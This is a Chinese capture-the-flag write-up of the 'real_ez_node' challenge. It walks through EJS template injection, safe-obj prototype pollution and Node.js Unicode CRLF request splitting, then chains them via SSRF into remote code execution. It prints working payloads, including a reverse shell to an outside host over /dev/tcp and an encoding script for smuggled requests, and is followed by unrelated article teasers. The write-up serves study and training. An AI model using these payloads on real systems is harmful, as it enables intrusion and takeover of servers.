[西湖论剑 2022]real_ez_node

文章目录

  • 前置知识
    • EJS模板注入(CVE-2022-29078)
    • 原型链污染漏洞 (CVE-2021-25928)
    • HTTP响应拆分攻击(CRLF)
  • 解题过程
    • 代码审计
    • 构造payload


前置知识

EJS模板注入(CVE-2022-29078)

EJS库中有一个渲染函数非常特别
数据和选项通过这个函数合并在一起utils.shallowCopyFromList,所以理论上我们可以用数据覆盖模板选项

exports.render = function (template, d, o) {
  var data = d || {};
  var opts = o || {};

  // No options object -- if there are optiony names
  // in the data, copy them to options
  if (arguments.length == 2) {
    utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA);
  }

  return handleCache(opts, template)(data);
};

但是继续发现它仅复制位于定义的传递列表中的数据

var _OPTS_PASSABLE_WITH_DATA = ['delimiter', 'scope', 'context', 'debug', 'compileDebug',
  'client', '_with', 'rmWhitespace', 'strict', 'filename', 'async'];

不过在 renderFile 函数里找到了RCE漏洞

// Undocumented after Express 2, but still usable, esp. for
// items that are unsafe to be passed along with data, like `root`
viewOpts = data.settings['view options'];
if (viewOpts) {
    utils.shallowCopy(opts, viewOpts);
}

在 Express ejs 的情况下,它view options会将所有内容无限制地复制到选项中,现在我们需要的只是找到模板主体中包含的选项而不转义

prepended +=
    '  var __output = "";\n' +
    '  function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {
    prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
}

因此,如果我们在选项中注入代码,outputFunctionName它将包含在源代码中。
有效负载是这样的x;process.mainModule.require('child_process').execSync('touch /tmp/pwned');s

一般原型链污染构造payload如下

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}
{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor.load('child_process').exec('calc');//"}}
{"__proto__":{"outputFunctionName":"_tmp1;return global.process.mainModule.constructor.load('child_process').exec('calc');__tmp2"}}

原型链污染漏洞 (CVE-2021-25928)

漏洞poc如下

var safeObj = require("safe-obj");
var obj = {};
console.log("Before : " + {}.polluted);
safeObj. expand (obj,'__proto__.polluted','Yes! Its Polluted');
console.log("After : " + {}.polluted);

expand函数定义如下
在这里插入图片描述该函数有三个参数obj、path、thing
当我们调用该函数时,执行过程如下

obj={},path="__proto__.polluted",thing="Yes! Its Polluted"

当执行完path.split('.')时,path被分成两部分,props数组如下

props=(2){"__proto__","polluted"}

由于length长度为2,进入else语句,执行完shift()

prop="__proto__",props="polluted"

下面再次调用expand函数的时候就相当于调用

expand(obj[__proto__],"polluted","Yes! Its Polluted")

然后再次递归,此时length为1

props=["polluted"]

if语句为True,执行obj[props.shift()]=thing
相当于执行 obj[proto][“polluted”]=“Yes! Its Polluted”,造成原型链污染

HTTP响应拆分攻击(CRLF)

在版本条件 nodejs<=8 的情况下存在 Unicode 字符损坏导致的 HTTP 拆分攻击,(Node.js10中被修复),当 Node.js 使用 http.get (关键函数)向特定路径发出HTTP 请求时,发出的请求实际上被定向到了不一样的路径,这是因为NodeJS 中 Unicode 字符损坏导致的 HTTP 拆分攻击。

补充说明:CRLF指的是回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII 10,\n,%0a)

由于nodejs的HTTP库包含了阻止CRLF的措施,即如果你尝试发出一个URL路径中含有回车、换行或空格等控制字符的HTTP请求是,它们会被URL编码,所以正常的CRLF注入在nodejs中并不能利用

var http = require("http")
http.get('http://47.101.57.72:4000/\r\n/WHOAMI').output

结果如下,我们可以发现并没有实现换行

GET /%0D%0A/WHOAMI HTTP/1.1
Host: 47.101.57.72:4000
Connection: close

但是如果包含一些高编号的Unicode字符
当 Node.js v8 或更低版本对此URL发出 GET 请求时,它不会进行编码转义,因为它们不是HTTP控制字符

var http = require("http")
http.get('http://47.101.57.72:4000/\u010D\u010A/WHOAMI').output
结果为[ 'GET /čĊ/WHOAMI HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]

但是当结果字符串被编码为 latin1 写入路径时,\u{010D}\u{010A}将分别被截断为 “\r”(%0d)和 “\n”(%0a)

GET /
/WHOAMI HTTP/1.1
Host: 47.101.57.72:4000
Connection: close

可见,通过在请求路径中包含精心选择的Unicode字符,攻击者可以欺骗Node.js并成功实现CRLF注入。

对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码字符集,不能表示高编号的Unicode字符,所以,当我们的请求路径中含有多字节编码的Unicode字符时,会被截断取最低字节,比如 \u0130 就会被截断为 \u30:
在这里插入图片描述
构造脚本如下

payload = ''' HTTP/1.1

[POST /upload.php HTTP/1.1
Host: 127.0.0.1]自己的http请求

GET / HTTP/1.1
test:'''.replace("\n","\r\n")

payload = payload.replace('\r\n', '\u010d\u010a') \
    .replace('+', '\u012b') \
    .replace(' ', '\u0120') \
    .replace('"', '\u0122') \
    .replace("'", '\u0a27') \
    .replace('[', '\u015b') \
    .replace(']', '\u015d') \
    .replace('`', '\u0127') \
    .replace('"', '\u0122') \
    .replace("'", '\u0a27') \
    .replace('[', '\u015b') \
    .replace(']', '\u015d') \

print(payload)

解题过程

代码审计

app.js

var createError = require('http-errors');
var express = require('express');
var path = require('path');
var fs = require('fs');
const lodash = require('lodash')
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var session = require('express-session');
var index = require('./routes/index');
var bodyParser = require('body-parser');//解析,用req.body获取post参数
var app = express();
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({extended: false}));
app.use(cookieParser());
app.use(session({
  secret : 'secret', // 对session id 相关的cookie 进行签名
  resave : true,
  saveUninitialized: false, // 是否保存未初始化的会话
  cookie : {
    maxAge : 1000 * 60 * 3, // 设置 session 的有效时间,单位毫秒
  },
}));
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
// app.engine('ejs', function (filePath, options, callback) {    // 设置使用 ejs 模板引擎 
//   fs.readFile(filePath, (err, content) => {
//       if (err) return callback(new Error(err))
//       let compiled = lodash.template(content)    // 使用 lodash.template 创建一个预编译模板方法供后面使用
//       let rendered = compiled()

//       return callback(null, rendered)
//   })
// });
app.use(logger('dev'));
app.use(express.static(path.join(__dirname, 'public')));
app.use('/', index);
// app.use('/challenge7', challenge7);
// catch 404 and forward to error handler
app.use(function(req, res, next) {
  next(createError(404));
});

// error handler
app.use(function(err, req, res, next) {
  // set locals, only providing error in development
  res.locals.message = err.message;
  res.locals.error = req.app.get('env') === 'development' ? err : {};

  // render the error page
  res.status(err.status || 500);
  res.render('error');
});

module.exports = app;

可以发现使用的是ejs模板引擎,我们再查看下版本
打开package.json,版本是3.0.1,可以原型链污染RCE
在这里插入图片描述
index.js

var express = require('express');
var http = require('http');
var router = express.Router();
const safeobj = require('safe-obj');
router.get('/',(req,res)=>{
  if (req.query.q) {
    console.log('get q');
  }
  res.render('index');
})
router.post('/copy',(req,res)=>{
  res.setHeader('Content-type','text/html;charset=utf-8')
  var ip = req.connection.remoteAddress;
  console.log(ip);
  var obj = {
      msg: '',
  }
  if (!ip.includes('127.0.0.1')) {
      obj.msg="only for admin"
      res.send(JSON.stringify(obj));
      return 
  }
  let user = {};
  for (let index in req.body) {
      if(!index.includes("__proto__")){
          safeobj.expand(user, index, req.body[index])
      }
    }
  res.render('index');
})

router.get('/curl', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:3000/?q=' + q
            try {
                http.get(url,(res1)=>{
                    const { statusCode } = res1;
                    const contentType = res1.headers['content-type'];
                  
                    let error;
                    // 任何 2xx 状态码都表示成功响应,但这里只检查 200。
                    if (statusCode !== 200) {
                      error = new Error('Request Failed.\n' +
                                        `Status Code: ${statusCode}`);
                    }
                    if (error) {
                      console.error(error.message);
                      // 消费响应数据以释放内存
                      res1.resume();
                      return;
                    }
                  
                    res1.setEncoding('utf8');
                    let rawData = '';
                    res1.on('data', (chunk) => { rawData += chunk;
                    res.end('request success') });
                    res1.on('end', () => {
                      try {
                        const parsedData = JSON.parse(rawData);
                        res.end(parsedData+'');
                      } catch (e) {
                        res.end(e.message+'');
                      }
                    });
                  }).on('error', (e) => {
                    res.end(`Got error: ${e.message}`);
                  })
                res.end('ok');
            } catch (error) {
                res.end(error+'');
            }
    } else {
        res.send("search param 'q' missing!");
    }
})
module.exports = router;

分析:

  1. /copy路由下,首先检查ip地址是否为127.0.0.1,然后过滤了__proto__关键字(我们可以constructor.prototype代替),接着出现能造成原型链污染的函数safeobj.expand()
  2. /curl路由下的存在ssrf利用点

思路是通过/curl路由利用CRLF以本地(127.0.0.1)身份向/copy发送POST请求,然后打ejs污染原型链 实现代码执行

构造payload

我们先构造原型链污染payload

{
	"__proto__":{
		"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1\\"');var __tmp2"
	}
}

但是__proto__被过滤了,修改一下

{
	"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1\\"');var __tmp2"
}

这里为什么要改为constructor.prototype.outputFunctionName,可以在前置知识那了解expand函数的执行过程

然后就是修改CRLF注入脚本

payload = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Connection: close
Content-Length: 191

{
	"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1\\"');var __tmp2"
}
'''.replace("\n","\r\n")

payload = payload.replace('\r\n', '\u010d\u010a') \
    .replace('+', '\u012b') \
    .replace(' ', '\u0120') \
    .replace('"', '\u0122') \
    .replace("'", '\u0a27') \
    .replace('[', '\u015b') \
    .replace(']', '\u015d') \
    .replace('`', '\u0127') \
    .replace('"', '\u0122') \
    .replace("'", '\u0a27') \
    .replace('[', '\u015b') \
    .replace(']', '\u015d') \

print(payload)

我的长度为191,这个可以自己bp发包看看

在这里插入图片描述
不过NSS的这道题不能反弹shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/133416.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

ChatGPT 如何改变科研之路

《Nature》全球博士后调查[1]中约有三分之一的受访者正在使用人工智能聊天机器人来帮助完善文本、生成或编辑代码、整理其领域的文献等等。 来自巴西的 Rafael Bretas 在日本生活了十多年&#xff0c;日语说得很好。书面日语的各个方面&#xff0c;例如严格的礼貌等级制度&…

【蓝桥每日一题]-快速幂,倍增,滑动窗口(保姆级教程 篇1) #麦森数 #青蛙跳

之前是考试准备&#xff0c;所以有几天没更新&#xff0c;今天开始继续更新 目录 快速幂模板 题目&#xff1a;麦森数 思路&#xff1a; 题目&#xff1a;青蛙跳 思路&#xff1a; 快速幂模板 #include <bits/stdc.h> #define ll long long using namespa…

如何知道一个程序为哪些信号注册了哪些信号处理函数?

https://unix.stackexchange.com/questions/379694/is-there-a-way-to-know-if-signals-are-present-in-your-application-and-which-sign 使用 strace

数据结构与算法【二分查找】Java实现

需求&#xff1a;在有序数组 A 内&#xff0c;查找值target 如果找到返回索引如果找不到返回 -1 前提 给定一个内含 n 个元素的有序数组 A&#xff0c;一个待查值 target 1 设置 i0&#xff0c;jn-1 2 如果 i \gt j&#xff0c;结束查找&#xff0c;没找到 3 设置 m (…

只会CRUD程序员朋友,你开始拥抱云计算技术了吗

阅读建议 嗨&#xff0c;伙计&#xff01;刷到这篇文章咱们就是有缘人&#xff0c;在阅读这篇文章前我有一些建议&#xff1a; 本篇文章大概6000多字&#xff0c;预计阅读时间长需要6分钟。本篇文章的理论性较强&#xff0c;是一篇质量分数较高的技术文章&#xff0c;建议收藏…

STM32F407的看门狗

文章目录 看门狗时钟两种看门狗IWDG结构图作用 寄存器IWDG_KR键值寄存器IWDG_PR预分频寄存器2-0 PR预分频器系数 IWDG_RLR重装载寄存器IWDG_SR状态寄存器1RVU 重载值更新0 PVU 预分频值更新注意 写保护超时时间使用步骤取消寄存器 写保护设置预分频系数和重装载值看门狗溢出时间…

阿里云服务器搭建sql 服务

阿里云搭建mysql服务 环境准备 系统镜像 ubuntu 如果买点的实例不是ubuntu 系统镜像&#xff0c;需要停止服务之后&#xff0c;更改镜像 更新 apt-get &#xff1a; 更新apt-get: sudo apt-get update 如果没有出现&#xff1a;apt-get 找不到此命令的错误&#xff0c;可能是…

【教3妹学编程-算法题】2923. 找到冠军 I

3妹&#xff1a;2哥2哥&#xff0c;你看到新闻了吗&#xff1f;襄阳健桥医院院长 公然“贩卖出生证明”&#xff0c; 真是太胆大包天了吧。 2哥 : 我也看到新闻了&#xff0c;7人被采取刑事强制措施。 就应该好好查查他们&#xff0c; 一查到底&#xff01; 3妹&#xff1a;真的…

箱线图(boxplot)

箱线图 boxplot 简述原理绘制方法python - matplotlib加载功能模块加载数据绘制boxplot python - seaborn加载功能模块加载数据绘制boxplot R - ggplot加载功能模块加载数据绘制boxplot 简述 因图形形状如箱子而得名。箱线图常用于展示一组连续型数据的分散情况。学术界普遍认…

SQL SERVER Inregration Services-OLE DB、Oracle和ODBC操作

OLE DB链接器 OLE DB插件下载&#xff1a;https://learn.microsoft.com/zh-cn/sql/connect/oledb/download-oledb-driver-for-sql-server?viewsql-server-ver16 配置OLE DB Connection Manager 在点击“新建”时&#xff0c;会弹出警告信息“不支持指定的提供程序&#xff0…

文件夹批量改名技巧:简单步骤,实现文件夹随机重命名

在日常生活和工作中&#xff0c;经常需要处理大量的文件夹&#xff0c;需要对其进行有效的管理。在这些情况下&#xff0c;文件夹的命名就变得非常重要。一个好的命名策略可以快速找到所需的文件夹&#xff0c;也可以帮助更好地组织文件。然而&#xff0c;手动为每个文件夹重命…

研究方法——案例研究设计与方法

作者&#xff1a;罗伯特K.殷 &#xff08;一&#xff09;计划&#xff1a;如何把握何处、何时用案例研究方法 1.问题&#xff1a; 按照作者的观点&#xff0c;案例研究1984年之后才逐渐得到重视&#xff0c;可是在数据信息有效收集的时代&#xff0c;几乎所有的经典都是以案例…

电路中模拟地和数字地的分割方法

电路中只要是地&#xff0c;最终都要接到一起&#xff0c;然后入大地。如果不接在一起就是“浮地”&#xff0c;存在压差&#xff0c;容易积累电荷&#xff0c;造成静电。 地是参考0电位&#xff0c;所有电压都是参考地得出的&#xff0c;地的标准一致&#xff0c;故各种地应短…

计蒜客详解合集(3)期

目录 T1236——分苹果 T1113——整理药名 T1153——整数奇偶排列 T1249——漂亮的字符串 T1168——统计素数个数 T1160——甲流病人筛选 T1236——分苹果 分享一道特别简单的题。 蒜头君要把一堆苹果分给 个小朋友&#xff0c;要使每个人都能拿到苹果&#xff0c;而目每…

搞怪python代码

微信消息重发代码&#xff1a; from pynput.keyboard import Key,Controller import time keyboard Controller()a input("请输入你需要循环输出的内容&#xff1a;") b eval(input(请输入你想要循环的次数&#xff1a;)) print("数据已接收&#xff01;请将…

一个整数,它加上100后是一个完全平方数,再加上168又是一个完全平方数,请问该数是多少?

目录 1解题思路&#xff1a; 2代码如下&#xff1a; 3运行结果&#xff1a; 4总结&#xff1a; 5介绍&#xff1a; 1解题思路&#xff1a; 利用循环&#xff08;穷举法&#xff09;来 对 所 需要的数 进行确定 2代码如下&#xff1a; #include <stdio.h>int main() …

【Python大数据笔记_day06_Hive】

hive内外表操作 建表语法 create [external] table [if not exists] 表名(字段名 字段类型 , 字段名 字段类型 , ... ) [partitioned by (分区字段名 分区字段类型)] # 分区表固定格式 [clustered by (分桶字段名) into 桶个数 buckets] # 分桶表固定格式 注意: 可以排序[so…

Java中的多态究竟是什么?

目录 一.概念二.使用条件三.重写1.概念2.使用条件3.与重载对比4.举例5.为什么需要重写1.重写规则 2.静态绑定--重载3.动态绑定--重写 四.向上转型第一种传参方式&#xff1a;直接赋值第二种传参方式&#xff1a;通过传参优缺点 五.向下转型举例缺点 六.多态的优缺点优点缺点 一…

ros1 基础学习08- 实现Server端自定义四 Topic模式控制海龟运动

一、服务模型 Server端本身是进行模拟海龟运动的命令端&#xff0c;它的实现是通过给海龟发送速度&#xff08;Twist&#xff09;的指令&#xff0c;来控制海龟运动&#xff08;本身通过Topic实现&#xff09;。 Client端相当于海龟运动的开关&#xff0c;其发布Request来控制…

Leetcode2833. 距离原点最远的点

Every day a Leetcode 题目来源&#xff1a;2833. 距离原点最远的点 解法1&#xff1a;贪心 要使得到达的距离原点最远的点&#xff0c;就看 left 和 right 谁大&#xff0c;将 left 和 right 作为矢量相加&#xff0c;再往同方向加上 underline。 答案即为 abs(left - rig…
最新文章